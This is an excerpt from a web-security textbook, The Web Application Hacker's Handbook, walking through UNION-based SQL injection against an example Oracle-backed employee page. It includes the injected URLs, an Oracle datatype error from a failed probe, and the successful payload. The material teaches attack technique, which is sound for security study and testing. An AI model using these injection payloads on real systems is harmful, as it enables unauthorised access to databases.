The Web Application Hacker’s Handbook Discovering and Exploiting Security Flaws

ID

EMPLOYEE

JOB

7521

WARD

SALESMAN

Note the blank line which has now been added to the table, containing the

NULL

results from our injected query.

Having determined the number of columns, we now need to find a column

which has a string data type. Our first attempt is unsuccessful:

https://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20’a’,

NULL,NULL,NULL%20from%20dual--

[Oracle][ODBC][Ora]ORA-01790: expression must have same datatype as

corresponding expression

Chapter 9 

■

Injecting Code

257

70779c09.qxd:WileyRed  9/14/07  3:13 PM  Page 257

---

We target the second column, and this is successful, returning a row of data

containing the input we specified:

https://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL,

’a’,NULL,NULL%20from%20dual--